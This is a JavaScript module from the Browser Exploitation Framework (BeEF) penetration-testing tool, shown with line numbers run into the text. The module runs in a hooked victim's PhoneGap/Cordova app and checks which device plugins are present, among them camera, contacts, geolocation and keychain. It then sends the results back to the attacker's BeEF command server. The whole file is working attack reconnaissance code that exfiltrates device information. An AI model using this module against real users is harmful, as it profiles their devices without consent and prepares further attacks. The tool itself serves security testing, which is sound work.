Path: blob/master/modules/phonegap/phonegap_plugin_detection/command.js
1154 views
//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56// phonegap_plugin_detection7//8beef.execute(function() {9var result = '';1011// Approximate list of plugins, intended to work with Cordova 2.x12var plugins = new Array(13"cordova/plugin/device",14"cordova/plugin/logger",15"cordova/plugin/compass",16"cordova/plugin/accelerometer",17"cordova/plugin/Camera",18"cordova/plugin/network",19"cordova/plugin/contacts",20"cordova/plugin/echo",21"cordova/plugin/File",22"cordova/plugin/FileTransfer",23"cordova/plugin/geolocation",24"cordova/plugin/notification",25"cordova/plugin/Media",26"cordova/plugin/capture",27"cordova/plugin/splashscreen",28"cordova/plugin/battery",29"cordova/plugin/globalization",30"cordova/plugin/InAppBrowser",31"cordova/plugin/keychain"32);3334for (var i=0; i<plugins.length; i++) {35try {36var a = cordova.require(plugins[i]);37if (a !== undefined) {38result = result + '\n plugin: ' + plugins[i];39}40} catch (err) {41// do nothing42}43}444546beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );4748});4950